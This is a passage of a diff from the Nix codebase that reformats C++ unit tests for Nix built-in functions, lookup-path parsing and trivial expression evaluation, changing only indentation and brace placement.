TEST_P(ParseDrvNamePrimOpTest, parseDrvName) { - auto [input, expectedName, expectedVersion] = GetParam(); - const auto expr = fmt("builtins.parseDrvName \"%1%\"", input); - auto v = eval(expr); - ASSERT_THAT(v, IsAttrsOfSize(2)); +TEST_P(ParseDrvNamePrimOpTest, parseDrvName) +{ + auto [input, expectedName, expectedVersion] = GetParam(); + const auto expr = fmt("builtins.parseDrvName \"%1%\"", input); + auto v = eval(expr); + ASSERT_THAT(v, IsAttrsOfSize(2)); - auto name = v.attrs()->find(createSymbol("name")); - ASSERT_TRUE(name); - ASSERT_THAT(*name->value, IsStringEq(expectedName)); + auto name = v.attrs()->find(createSymbol("name")); + ASSERT_TRUE(name); + ASSERT_THAT(*name->value, IsStringEq(expectedName)); - auto version = v.attrs()->find(createSymbol("version")); - ASSERT_TRUE(version); - ASSERT_THAT(*version->value, IsStringEq(expectedVersion)); - } + auto version = v.attrs()->find(createSymbol("version")); + ASSERT_TRUE(version); + ASSERT_THAT(*version->value, IsStringEq(expectedVersion)); +} - INSTANTIATE_TEST_SUITE_P( - parseDrvName, - ParseDrvNamePrimOpTest, - testing::Values( - std::make_tuple("nix-0.12pre12876", "nix", "0.12pre12876"), - std::make_tuple("a-b-c-1234pre5+git", "a-b-c", "1234pre5+git") - ) - ); +INSTANTIATE_TEST_SUITE_P( + parseDrvName, + ParseDrvNamePrimOpTest, + testing::Values( + std::make_tuple("nix-0.12pre12876", "nix", "0.12pre12876"), + std::make_tuple("a-b-c-1234pre5+git", "a-b-c", "1234pre5+git"))); - TEST_F(PrimOpTest, replaceStrings) { - // FIXME: add a test that verifies the string context is as expected - auto v = eval("builtins.replaceStrings [\"oo\" \"a\"] [\"a\" \"i\"] \"foobar\""); - ASSERT_EQ(v.type(), nString); - ASSERT_EQ(v.string_view(), "fabir"); - } +TEST_F(PrimOpTest, replaceStrings) +{ + // FIXME: add a test that verifies the string context is as expected + auto v = eval("builtins.replaceStrings [\"oo\" \"a\"] [\"a\" \"i\"] \"foobar\""); + ASSERT_EQ(v.type(), nString); + ASSERT_EQ(v.string_view(), "fabir"); +} - TEST_F(PrimOpTest, concatStringsSep) { - // FIXME: add a test that verifies the string context is as expected - auto v = eval("builtins.concatStringsSep \"%\" [\"foo\" \"bar\" \"baz\"]"); - ASSERT_EQ(v.type(), nString); - ASSERT_EQ(v.string_view(), "foo%bar%baz"); - } +TEST_F(PrimOpTest, concatStringsSep) +{ + // FIXME: add a test that verifies the string context is as expected + auto v = eval("builtins.concatStringsSep \"%\" [\"foo\" \"bar\" \"baz\"]"); + ASSERT_EQ(v.type(), nString); + ASSERT_EQ(v.string_view(), "foo%bar%baz"); +} - TEST_F(PrimOpTest, split1) { - // v = [ "" [ "a" ] "c" ] - auto v = eval("builtins.split \"(a)b\" \"abc\""); - ASSERT_THAT(v, IsListOfSize(3)); +TEST_F(PrimOpTest, split1) +{ + // v = [ "" [ "a" ] "c" ] + auto v = eval("builtins.split \"(a)b\" \"abc\""); + ASSERT_THAT(v, IsListOfSize(3)); - ASSERT_THAT(*v.listElems()[0], IsStringEq("")); + ASSERT_THAT(*v.listElems()[0], IsStringEq("")); - ASSERT_THAT(*v.listElems()[1], IsListOfSize(1)); - ASSERT_THAT(*v.listElems()[1]->listElems()[0], IsStringEq("a")); + ASSERT_THAT(*v.listElems()[1], IsListOfSize(1)); + ASSERT_THAT(*v.listElems()[1]->listElems()[0], IsStringEq("a")); - ASSERT_THAT(*v.listElems()[2], IsStringEq("c")); - } + ASSERT_THAT(*v.listElems()[2], IsStringEq("c")); +} - TEST_F(PrimOpTest, split2) { - // v is expected to be a list [ "" [ "a" ] "b" [ "c"] "" ] - auto v = eval("builtins.split \"([ac])\" \"abc\""); - ASSERT_THAT(v, IsListOfSize(5)); +TEST_F(PrimOpTest, split2) +{ + // v is expected to be a list [ "" [ "a" ] "b" [ "c"] "" ] + auto v = eval("builtins.split \"([ac])\" \"abc\""); + ASSERT_THAT(v, IsListOfSize(5)); - ASSERT_THAT(*v.listElems()[0], IsStringEq("")); + ASSERT_THAT(*v.listElems()[0], IsStringEq("")); - ASSERT_THAT(*v.listElems()[1], IsListOfSize(1)); - ASSERT_THAT(*v.listElems()[1]->listElems()[0], IsStringEq("a")); + ASSERT_THAT(*v.listElems()[1], IsListOfSize(1)); + ASSERT_THAT(*v.listElems()[1]->listElems()[0], IsStringEq("a")); - ASSERT_THAT(*v.listElems()[2], IsStringEq("b")); + ASSERT_THAT(*v.listElems()[2], IsStringEq("b")); - ASSERT_THAT(*v.listElems()[3], IsListOfSize(1)); - ASSERT_THAT(*v.listElems()[3]->listElems()[0], IsStringEq("c")); + ASSERT_THAT(*v.listElems()[3], IsListOfSize(1)); + ASSERT_THAT(*v.listElems()[3]->listElems()[0], IsStringEq("c")); - ASSERT_THAT(*v.listElems()[4], IsStringEq("")); - } + ASSERT_THAT(*v.listElems()[4], IsStringEq("")); +} - TEST_F(PrimOpTest, split3) { - auto v = eval("builtins.split \"(a)|(c)\" \"abc\""); - ASSERT_THAT(v, IsListOfSize(5)); +TEST_F(PrimOpTest, split3) +{ + auto v = eval("builtins.split \"(a)|(c)\" \"abc\""); + ASSERT_THAT(v, IsListOfSize(5)); - // First list element - ASSERT_THAT(*v.listElems()[0], IsStringEq("")); + // First list element + ASSERT_THAT(*v.listElems()[0], IsStringEq("")); - // 2nd list element is a list [ "" null ] - ASSERT_THAT(*v.listElems()[1], IsListOfSize(2)); - ASSERT_THAT(*v.listElems()[1]->listElems()[0], IsStringEq("a")); - ASSERT_THAT(*v.listElems()[1]->listElems()[1], IsNull()); + // 2nd list element is a list [ "" null ] + ASSERT_THAT(*v.listElems()[1], IsListOfSize(2)); + ASSERT_THAT(*v.listElems()[1]->listElems()[0], IsStringEq("a")); + ASSERT_THAT(*v.listElems()[1]->listElems()[1], IsNull()); - // 3rd element - ASSERT_THAT(*v.listElems()[2], IsStringEq("b")); + // 3rd element + ASSERT_THAT(*v.listElems()[2], IsStringEq("b")); - // 4th element is a list: [ null "c" ] - ASSERT_THAT(*v.listElems()[3], IsListOfSize(2)); - ASSERT_THAT(*v.listElems()[3]->listElems()[0], IsNull()); - ASSERT_THAT(*v.listElems()[3]->listElems()[1], IsStringEq("c")); + // 4th element is a list: [ null "c" ] + ASSERT_THAT(*v.listElems()[3], IsListOfSize(2)); + ASSERT_THAT(*v.listElems()[3]->listElems()[0], IsNull()); + ASSERT_THAT(*v.listElems()[3]->listElems()[1], IsStringEq("c")); - // 5th element is the empty string - ASSERT_THAT(*v.listElems()[4], IsStringEq("")); - } + // 5th element is the empty string + ASSERT_THAT(*v.listElems()[4], IsStringEq("")); +} - TEST_F(PrimOpTest, split4) { - auto v = eval("builtins.split \"([[:upper:]]+)\" \" FOO \""); - ASSERT_THAT(v, IsListOfSize(3)); - auto first = v.listElems()[0]; - auto second = v.listElems()[1]; - auto third = v.listElems()[2]; +TEST_F(PrimOpTest, split4) +{ + auto v = eval("builtins.split \"([[:upper:]]+)\" \" FOO \""); + ASSERT_THAT(v, IsListOfSize(3)); + auto first = v.listElems()[0]; + auto second = v.listElems()[1]; + auto third = v.listElems()[2]; - ASSERT_THAT(*first, IsStringEq(" ")); + ASSERT_THAT(*first, IsStringEq(" ")); - ASSERT_THAT(*second, IsListOfSize(1)); - ASSERT_THAT(*second->listElems()[0], IsStringEq("FOO")); + ASSERT_THAT(*second, IsListOfSize(1)); + ASSERT_THAT(*second->listElems()[0], IsStringEq("FOO")); - ASSERT_THAT(*third, IsStringEq(" ")); - } + ASSERT_THAT(*third, IsStringEq(" ")); +} - TEST_F(PrimOpTest, match1) { - auto v = eval("builtins.match \"ab\" \"abc\""); - ASSERT_THAT(v, IsNull()); - } +TEST_F(PrimOpTest, match1) +{ + auto v = eval("builtins.match \"ab\" \"abc\""); + ASSERT_THAT(v, IsNull()); +} - TEST_F(PrimOpTest, match2) { - auto v = eval("builtins.match \"abc\" \"abc\""); - ASSERT_THAT(v, IsListOfSize(0)); - } +TEST_F(PrimOpTest, match2) +{ + auto v = eval("builtins.match \"abc\" \"abc\""); + ASSERT_THAT(v, IsListOfSize(0)); +} - TEST_F(PrimOpTest, match3) { - auto v = eval("builtins.match \"a(b)(c)\" \"abc\""); - ASSERT_THAT(v, IsListOfSize(2)); - ASSERT_THAT(*v.listElems()[0], IsStringEq("b")); - ASSERT_THAT(*v.listElems()[1], IsStringEq("c")); - } +TEST_F(PrimOpTest, match3) +{ + auto v = eval("builtins.match \"a(b)(c)\" \"abc\""); + ASSERT_THAT(v, IsListOfSize(2)); + ASSERT_THAT(*v.listElems()[0], IsStringEq("b")); + ASSERT_THAT(*v.listElems()[1], IsStringEq("c")); +} - TEST_F(PrimOpTest, match4) { - auto v = eval("builtins.match \"[[:space:]]+([[:upper:]]+)[[:space:]]+\" \" FOO \""); - ASSERT_THAT(v, IsListOfSize(1)); - ASSERT_THAT(*v.listElems()[0], IsStringEq("FOO")); - } +TEST_F(PrimOpTest, match4) +{ + auto v = eval("builtins.match \"[[:space:]]+([[:upper:]]+)[[:space:]]+\" \" FOO \""); + ASSERT_THAT(v, IsListOfSize(1)); + ASSERT_THAT(*v.listElems()[0], IsStringEq("FOO")); +} - TEST_F(PrimOpTest, match5) { - // The regex "\\{}" is valid and matches the string "{}". - // Caused a regression before when trying to switch from std::regex to boost::regex. - // See https://github.com/NixOS/nix/pull/7762#issuecomment-1834303659 - auto v = eval("builtins.match \"\\\\{}\" \"{}\""); - ASSERT_THAT(v, IsListOfSize(0)); - } +TEST_F(PrimOpTest, match5) +{ + // The regex "\\{}" is valid and matches the string "{}". + // Caused a regression before when trying to switch from std::regex to boost::regex. + // See https://github.com/NixOS/nix/pull/7762#issuecomment-1834303659 + auto v = eval("builtins.match \"\\\\{}\" \"{}\""); + ASSERT_THAT(v, IsListOfSize(0)); +} - TEST_F(PrimOpTest, attrNames) { - auto v = eval("builtins.attrNames { x = 1; y = 2; z = 3; a = 2; }"); - ASSERT_THAT(v, IsListOfSize(4)); +TEST_F(PrimOpTest, attrNames) +{ + auto v = eval("builtins.attrNames { x = 1; y = 2; z = 3; a = 2; }"); + ASSERT_THAT(v, IsListOfSize(4)); - // ensure that the list is sorted - const std::vector expected { "a", "x", "y", "z" }; - for (const auto [n, elem] : enumerate(v.listItems())) - ASSERT_THAT(*elem, IsStringEq(expected[n])); - } + // ensure that the list is sorted + const std::vector expected{"a", "x", "y", "z"}; + for (const auto [n, elem] : enumerate(v.listItems())) + ASSERT_THAT(*elem, IsStringEq(expected[n])); +} - TEST_F(PrimOpTest, genericClosure_not_strict) { - // Operator should not be used when startSet is empty - auto v = eval("builtins.genericClosure { startSet = []; }"); - ASSERT_THAT(v, IsListOfSize(0)); - } +TEST_F(PrimOpTest, genericClosure_not_strict) +{ + // Operator should not be used when startSet is empty + auto v = eval("builtins.genericClosure { startSet = []; }"); + ASSERT_THAT(v, IsListOfSize(0)); +} } /* namespace nix */ diff --git a/src/libexpr-tests/search-path.cc b/src/libexpr-tests/search-path.cc index 792bb0812..17de849e0 100644 --- a/src/libexpr-tests/search-path.cc +++ b/src/libexpr-tests/search-path.cc @@ -5,86 +5,98 @@ namespace nix { -TEST(LookupPathElem, parse_justPath) { +TEST(LookupPathElem, parse_justPath) +{ ASSERT_EQ( LookupPath::Elem::parse("foo"), - (LookupPath::Elem { - .prefix = LookupPath::Prefix { .s = "" }, - .path = LookupPath::Path { .s = "foo" }, + (LookupPath::Elem{ + .prefix = LookupPath::Prefix{.s = ""}, + .path = LookupPath::Path{.s = "foo"}, })); } -TEST(LookupPathElem, parse_emptyPrefix) { +TEST(LookupPathElem, parse_emptyPrefix) +{ ASSERT_EQ( LookupPath::Elem::parse("=foo"), - (LookupPath::Elem { - .prefix = LookupPath::Prefix { .s = "" }, - .path = LookupPath::Path { .s = "foo" }, + (LookupPath::Elem{ + .prefix = LookupPath::Prefix{.s = ""}, + .path = LookupPath::Path{.s = "foo"}, })); } -TEST(LookupPathElem, parse_oneEq) { +TEST(LookupPathElem, parse_oneEq) +{ ASSERT_EQ( LookupPath::Elem::parse("foo=bar"), - (LookupPath::Elem { - .prefix = LookupPath::Prefix { .s = "foo" }, - .path = LookupPath::Path { .s = "bar" }, + (LookupPath::Elem{ + .prefix = LookupPath::Prefix{.s = "foo"}, + .path = LookupPath::Path{.s = "bar"}, })); } -TEST(LookupPathElem, parse_twoEqs) { +TEST(LookupPathElem, parse_twoEqs) +{ ASSERT_EQ( LookupPath::Elem::parse("foo=bar=baz"), - (LookupPath::Elem { - .prefix = LookupPath::Prefix { .s = "foo" }, - .path = LookupPath::Path { .s = "bar=baz" }, + (LookupPath::Elem{ + .prefix = LookupPath::Prefix{.s = "foo"}, + .path = LookupPath::Path{.s = "bar=baz"}, })); } - -TEST(LookupPathElem, suffixIfPotentialMatch_justPath) { - LookupPath::Prefix prefix { .s = "" }; - ASSERT_EQ(prefix.suffixIfPotentialMatch("any/thing"), std::optional { "any/thing" }); +TEST(LookupPathElem, suffixIfPotentialMatch_justPath) +{ + LookupPath::Prefix prefix{.s = ""}; + ASSERT_EQ(prefix.suffixIfPotentialMatch("any/thing"), std::optional{"any/thing"}); } -TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix1) { - LookupPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix1) +{ + LookupPath::Prefix prefix{.s = "foo"}; ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX"), std::nullopt); } -TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix2) { - LookupPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix2) +{ + LookupPath::Prefix prefix{.s = "foo"}; ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX/bar"), std::nullopt); } -TEST(LookupPathElem, suffixIfPotentialMatch_partialPrefix) { - LookupPath::Prefix prefix { .s = "fooX" }; +TEST(LookupPathElem, suffixIfPotentialMatch_partialPrefix) +{ + LookupPath::Prefix prefix{.s = "fooX"}; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::nullopt); } -TEST(LookupPathElem, suffixIfPotentialMatch_exactPrefix) { - LookupPath::Prefix prefix { .s = "foo" }; - ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::optional { "" }); +TEST(LookupPathElem, suffixIfPotentialMatch_exactPrefix) +{ + LookupPath::Prefix prefix{.s = "foo"}; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::optional{""}); } -TEST(LookupPathElem, suffixIfPotentialMatch_multiKey) { - LookupPath::Prefix prefix { .s = "foo/bar" }; - ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "baz" }); +TEST(LookupPathElem, suffixIfPotentialMatch_multiKey) +{ + LookupPath::Prefix prefix{.s = "foo/bar"}; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional{"baz"}); } -TEST(LookupPathElem, suffixIfPotentialMatch_trailingSlash) { - LookupPath::Prefix prefix { .s = "foo" }; - ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/"), std::optional { "" }); +TEST(LookupPathElem, suffixIfPotentialMatch_trailingSlash) +{ + LookupPath::Prefix prefix{.s = "foo"}; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/"), std::optional{""}); } -TEST(LookupPathElem, suffixIfPotentialMatch_trailingDoubleSlash) { - LookupPath::Prefix prefix { .s = "foo" }; - ASSERT_EQ(prefix.suffixIfPotentialMatch("foo//"), std::optional { "/" }); +TEST(LookupPathElem, suffixIfPotentialMatch_trailingDoubleSlash) +{ + LookupPath::Prefix prefix{.s = "foo"}; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo//"), std::optional{"/"}); } -TEST(LookupPathElem, suffixIfPotentialMatch_trailingPath) { - LookupPath::Prefix prefix { .s = "foo" }; - ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "bar/baz" }); +TEST(LookupPathElem, suffixIfPotentialMatch_trailingPath) +{ + LookupPath::Prefix prefix{.s = "foo"}; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional{"bar/baz"}); } } diff --git a/src/libexpr-tests/trivial.cc b/src/libexpr-tests/trivial.cc index 50a8f29f8..e72ba56a3 100644 --- a/src/libexpr-tests/trivial.cc +++ b/src/libexpr-tests/trivial.cc @@ -1,181 +1,202 @@ #include "nix/expr/tests/libexpr.hh" namespace nix { - // Testing of trivial expressions - class TrivialExpressionTest : public LibExprTest {}; +// Testing of trivial expressions +class TrivialExpressionTest : public LibExprTest +{}; - TEST_F(TrivialExpressionTest, true) { - auto v = eval("true"); - ASSERT_THAT(v, IsTrue()); - } +TEST_F(TrivialExpressionTest, true) +{ + auto v = eval("true"); + ASSERT_THAT(v, IsTrue()); +} - TEST_F(TrivialExpressionTest, false) { - auto v = eval("false"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(TrivialExpressionTest, false) +{ + auto v = eval("false"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(TrivialExpressionTest, null) { - auto v = eval("null"); - ASSERT_THAT(v, IsNull()); - } +TEST_F(TrivialExpressionTest, null) +{ + auto v = eval("null"); + ASSERT_THAT(v, IsNull()); +} - TEST_F(TrivialExpressionTest, 1) { - auto v = eval("1"); - ASSERT_THAT(v, IsIntEq(1)); - } +TEST_F(TrivialExpressionTest, 1) +{ + auto v = eval("1"); + ASSERT_THAT(v, IsIntEq(1)); +} - TEST_F(TrivialExpressionTest, 1plus1) { - auto v = eval("1+1"); - ASSERT_THAT(v, IsIntEq(2)); - } +TEST_F(TrivialExpressionTest, 1plus1) +{ + auto v = eval("1+1"); + ASSERT_THAT(v, IsIntEq(2)); +} - TEST_F(TrivialExpressionTest, minus1) { - auto v = eval("-1"); - ASSERT_THAT(v, IsIntEq(-1)); - } +TEST_F(TrivialExpressionTest, minus1) +{ + auto v = eval("-1"); + ASSERT_THAT(v, IsIntEq(-1)); +} - TEST_F(TrivialExpressionTest, 1minus1) { - auto v = eval("1-1"); - ASSERT_THAT(v, IsIntEq(0)); - } +TEST_F(TrivialExpressionTest, 1minus1) +{ + auto v = eval("1-1"); + ASSERT_THAT(v, IsIntEq(0)); +} - TEST_F(TrivialExpressionTest, lambdaAdd) { - auto v = eval("let add = a: b: a + b; in add 1 2"); - ASSERT_THAT(v, IsIntEq(3)); - } +TEST_F(TrivialExpressionTest, lambdaAdd) +{ + auto v = eval("let add = a: b: a + b; in add 1 2"); + ASSERT_THAT(v, IsIntEq(3)); +} - TEST_F(TrivialExpressionTest, list) { - auto v = eval("[]"); - ASSERT_THAT(v, IsListOfSize(0)); - } +TEST_F(TrivialExpressionTest, list) +{ + auto v = eval("[]"); + ASSERT_THAT(v, IsListOfSize(0)); +} - TEST_F(TrivialExpressionTest, attrs) { - auto v = eval("{}"); - ASSERT_THAT(v, IsAttrsOfSize(0)); - } +TEST_F(TrivialExpressionTest, attrs) +{ + auto v = eval("{}"); + ASSERT_THAT(v, IsAttrsOfSize(0)); +} - TEST_F(TrivialExpressionTest, float) { - auto v = eval("1.234"); - ASSERT_THAT(v, IsFloatEq(1.234)); - } +TEST_F(TrivialExpressionTest, float) +{ + auto v = eval("1.234"); + ASSERT_THAT(v, IsFloatEq(1.234)); +} - TEST_F(TrivialExpressionTest, updateAttrs) { - auto v = eval("{ a = 1; } // { b = 2; a = 3; }"); - ASSERT_THAT(v, IsAttrsOfSize(2)); - auto a = v.attrs()->find(createSymbol("a")); - ASSERT_NE(a, nullptr); - ASSERT_THAT(*a->value, IsIntEq(3)); +TEST_F(TrivialExpressionTest, updateAttrs) +{ + auto v = eval("{ a = 1; } // { b = 2; a = 3; }"); + ASSERT_THAT(v, IsAttrsOfSize(2)); + auto a = v.attrs()->find(createSymbol("a")); + ASSERT_NE(a, nullptr); + ASSERT_THAT(*a->value, IsIntEq(3)); - auto b = v.attrs()->find(createSymbol("b")); - ASSERT_NE(b, nullptr); - ASSERT_THAT(*b->value, IsIntEq(2)); - } + auto b = v.attrs()->find(createSymbol("b")); + ASSERT_NE(b, nullptr); + ASSERT_THAT(*b->value, IsIntEq(2)); +} - TEST_F(TrivialExpressionTest, hasAttrOpFalse) { - auto v = eval("{} ? a"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(TrivialExpressionTest, hasAttrOpFalse) +{ + auto v = eval("{} ? a"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(TrivialExpressionTest, hasAttrOpTrue) { - auto v = eval("{ a = 123; } ? a"); - ASSERT_THAT(v, IsTrue()); - } +TEST_F(TrivialExpressionTest, hasAttrOpTrue) +{ + auto v = eval("{ a = 123; } ? a"); + ASSERT_THAT(v, IsTrue()); +} - TEST_F(TrivialExpressionTest, withFound) { - auto v = eval("with { a = 23; }; a"); - ASSERT_THAT(v, IsIntEq(23)); - } +TEST_F(TrivialExpressionTest, withFound) +{ + auto v = eval("with { a = 23; }; a"); + ASSERT_THAT(v, IsIntEq(23)); +} - TEST_F(TrivialExpressionTest, withNotFound) { - ASSERT_THROW(eval("with {}; a"), Error); - } +TEST_F(TrivialExpressionTest, withNotFound) +{ + ASSERT_THROW(eval("with {}; a"), Error); +} - TEST_F(TrivialExpressionTest, withOverride) { - auto v = eval("with { a = 23; }; with { a = 42; }; a"); - ASSERT_THAT(v, IsIntEq(42)); - } +TEST_F(TrivialExpressionTest, withOverride) +{ + auto v = eval("with { a = 23; }; with { a = 42; }; a"); + ASSERT_THAT(v, IsIntEq(42)); +} - TEST_F(TrivialExpressionTest, letOverWith) { - auto v = eval("let a = 23; in with { a = 1; }; a"); - ASSERT_THAT(v, IsIntEq(23)); - } +TEST_F(TrivialExpressionTest, letOverWith) +{ + auto v = eval("let a = 23; in with { a = 1; }; a"); + ASSERT_THAT(v, IsIntEq(23)); +} - TEST_F(TrivialExpressionTest, multipleLet) { - auto v = eval("let a = 23; in let a = 42; in a"); - ASSERT_THAT(v, IsIntEq(42)); - } +TEST_F(TrivialExpressionTest, multipleLet) +{ + auto v = eval("let a = 23; in let a = 42; in a"); + ASSERT_THAT(v, IsIntEq(42)); +} - TEST_F(TrivialExpressionTest, defaultFunctionArgs) { - auto v = eval("({ a ? 123 }: a) {}"); - ASSERT_THAT(v, IsIntEq(123)); - } +TEST_F(TrivialExpressionTest, defaultFunctionArgs) +{ + auto v = eval("({ a ? 123 }: a) {}"); + ASSERT_THAT(v, IsIntEq(123)); +} - TEST_F(TrivialExpressionTest, defaultFunctionArgsOverride) { - auto v = eval("({ a ? 123 }: a) { a = 5; }"); - ASSERT_THAT(v, IsIntEq(5)); - } +TEST_F(TrivialExpressionTest, defaultFunctionArgsOverride) +{ + auto v = eval("({ a ? 123 }: a) { a = 5; }"); + ASSERT_THAT(v, IsIntEq(5)); +} - TEST_F(TrivialExpressionTest, defaultFunctionArgsCaptureBack) { - auto v = eval("({ a ? 123 }@args: args) {}"); - ASSERT_THAT(v, IsAttrsOfSize(0)); - } +TEST_F(TrivialExpressionTest, defaultFunctionArgsCaptureBack) +{ + auto v = eval("({ a ? 123 }@args: args) {}"); + ASSERT_THAT(v, IsAttrsOfSize(0)); +} - TEST_F(TrivialExpressionTest, defaultFunctionArgsCaptureFront) { - auto v = eval("(args@{ a ? 123 }: args) {}"); - ASSERT_THAT(v, IsAttrsOfSize(0)); - } +TEST_F(TrivialExpressionTest, defaultFunctionArgsCaptureFront) +{ + auto v = eval("(args@{ a ? 123 }: args) {}"); + ASSERT_THAT(v, IsAttrsOfSize(0)); +} - TEST_F(TrivialExpressionTest, assertThrows) { - ASSERT_THROW(eval("let x = arg: assert arg == 1; 123; in x 2"), Error); - } +TEST_F(TrivialExpressionTest, assertThrows) +{ + ASSERT_THROW(eval("let x = arg: assert arg == 1; 123; in x 2"), Error); +} - TEST_F(TrivialExpressionTest, assertPassed) { - auto v = eval("let x = arg: assert arg == 1; 123; in x 1"); - ASSERT_THAT(v, IsIntEq(123)); - } +TEST_F(TrivialExpressionTest, assertPassed) +{ + auto v = eval("let x = arg: assert arg == 1; 123; in x 1"); + ASSERT_THAT(v, IsIntEq(123)); +} - class AttrSetMergeTrvialExpressionTest : - public TrivialExpressionTest, - public testing::WithParamInterface - {}; +class AttrSetMergeTrvialExpressionTest : public TrivialExpressionTest, public testing::WithParamInterface +{}; - TEST_P(AttrSetMergeTrvialExpressionTest, attrsetMergeLazy) { - // Usually Nix rejects duplicate keys in an attrset but it does allow - // so if it is an attribute set that contains disjoint sets of keys. - // The below is equivalent to `{a.b = 1; a.c = 2; }`. - // The attribute set `a` will be a Thunk at first as the attribuets - // have to be merged (or otherwise computed) and that is done in a lazy - // manner. +TEST_P(AttrSetMergeTrvialExpressionTest, attrsetMergeLazy) +{ + // Usually Nix rejects duplicate keys in an attrset but it does allow + // so if it is an attribute set that contains disjoint sets of keys. + // The below is equivalent to `{a.b = 1; a.c = 2; }`. + // The attribute set `a` will be a Thunk at first as the attribuets + // have to be merged (or otherwise computed) and that is done in a lazy + // manner. - auto expr = GetParam(); - auto v = eval(expr); - ASSERT_THAT(v, IsAttrsOfSize(1)); + auto expr = GetParam(); + auto v = eval(expr); + ASSERT_THAT(v, IsAttrsOfSize(1)); - auto a = v.attrs()->find(createSymbol("a")); - ASSERT_NE(a, nullptr); + auto a = v.attrs()->find(createSymbol("a")); + ASSERT_NE(a, nullptr); - ASSERT_THAT(*a->value, IsThunk()); - state.forceValue(*a->value, noPos); + ASSERT_THAT(*a->value, IsThunk()); + state.forceValue(*a->value, noPos); - ASSERT_THAT(*a->value, IsAttrsOfSize(2)); + ASSERT_THAT(*a->value, IsAttrsOfSize(2)); - auto b = a->value->attrs()->find(createSymbol("b")); - ASSERT_NE(b, nullptr); - ASSERT_THAT(*b->value, IsIntEq(1)); + auto b = a->value->attrs()->find(createSymbol("b")); + ASSERT_NE(b, nullptr); + ASSERT_THAT(*b->value, IsIntEq(1)); - auto c = a->value->attrs()->find(createSymbol("c")); - ASSERT_NE(c, nullptr); - ASSERT_THAT(*c->value, IsIntEq(2)); - } + auto c = a->value->attrs()->find(createSymbol("c")); + ASSERT_NE(c, nullptr); + ASSERT_THAT(*c->value, IsIntEq(2)); +} - INSTANTIATE_TEST_SUITE_P( - attrsetMergeLazy, - AttrSetMergeTrvialExpressionTest, - testing::Values( - "{ a.b = 1; a.c = 2; }", - "{ a = { b = 1; }; a = { c = 2; }; }" - ) - ); +INSTANTIATE_TEST_SUITE_P( + attrsetMergeLazy, + AttrSetMergeTrvialExpressionTest, + testing::Values("{ a.b = 1; a.c = 2; }", "{ a = { b = 1; }; a = { c = 2; }; }")); // The following macros ultimately define 48 tests (16 variations on three // templates). Each template tests an expression that can be written in 2^4 @@ -199,28 +220,34 @@ namespace nix { // expanded. #define X_EXPAND_IF0(k, v) k "." v #define X_EXPAND_IF1(k, v) k " = { " v " };" -#define X4(w, x, y, z) \ - TEST_F(TrivialExpressionTest, nestedAttrsetMerge##w##x##y##z) { \ - auto v = eval("{ a.b = { c = 1; d = 2; }; } == { " \ - X_EXPAND_IF##w("a", X_EXPAND_IF##x("b", "c = 1;")) " " \ - X_EXPAND_IF##y("a", X_EXPAND_IF##z("b", "d = 2;")) " }"); \ - ASSERT_THAT(v, IsTrue()); \ - }; \ - TEST_F(TrivialExpressionTest, nestedAttrsetMergeDup##w##x##y##z) { \ - ASSERT_THROW(eval("{ " \ - X_EXPAND_IF##w("a", X_EXPAND_IF##x("b", "c = 1;")) " " \ - X_EXPAND_IF##y("a", X_EXPAND_IF##z("b", "c = 2;")) " }"), Error); \ - }; \ - TEST_F(TrivialExpressionTest, nestedAttrsetMergeLet##w##x##y##z) { \ - auto v = eval("{ b = { c = 1; d = 2; }; } == (let " \ - X_EXPAND_IF##w("a", X_EXPAND_IF##x("b", "c = 1;")) " " \ - X_EXPAND_IF##y("a", X_EXPAND_IF##z("b", "d = 2;")) " in a)"); \ - ASSERT_THAT(v, IsTrue()); \ +#define X4(w, x, y, z) \ + TEST_F(TrivialExpressionTest, nestedAttrsetMerge##w##x##y##z) \ + { \ + auto v = eval( \ + "{ a.b = { c = 1; d = 2; }; } == { " X_EXPAND_IF##w( \ + "a", X_EXPAND_IF##x("b", "c = 1;")) " " X_EXPAND_IF##y("a", X_EXPAND_IF##z("b", "d = 2;")) " }"); \ + ASSERT_THAT(v, IsTrue()); \ + }; \ + TEST_F(TrivialExpressionTest, nestedAttrsetMergeDup##w##x##y##z) \ + { \ + ASSERT_THROW( \ + eval( \ + "{ " X_EXPAND_IF##w("a", X_EXPAND_IF##x("b", "c = 1;")) " " X_EXPAND_IF##y( \ + "a", X_EXPAND_IF##z("b", "c = 2;")) " }"), \ + Error); \ + }; \ + TEST_F(TrivialExpressionTest, nestedAttrsetMergeLet##w##x##y##z) \ + { \ + auto v = eval( \ + "{ b = { c = 1; d = 2; }; } == (let " X_EXPAND_IF##w( \ + "a", X_EXPAND_IF##x("b", "c = 1;")) " " X_EXPAND_IF##y("a", X_EXPAND_IF##z("b", "d = 2;")) " in a)"); \ + ASSERT_THAT(v, IsTrue()); \ }; #define X3(...) X4(__VA_ARGS__, 0) X4(__VA_ARGS__, 1) #define X2(...) X3(__VA_ARGS__, 0) X3(__VA_ARGS__, 1) #define X1(...) X2(__VA_ARGS__, 0) X2(__VA_ARGS__, 1) - X1(0) X1(1) +X1(0) +X1(1) #undef X_EXPAND_IF0 #undef X_EXPAND_IF1 #undef X1 @@ -228,74 +255,88 @@ namespace nix { #undef X3 #undef X4 - TEST_F(TrivialExpressionTest, functor) { - auto v = eval("{ __functor = self: arg: self.v + arg; v = 10; } 5"); - ASSERT_THAT(v, IsIntEq(15)); - 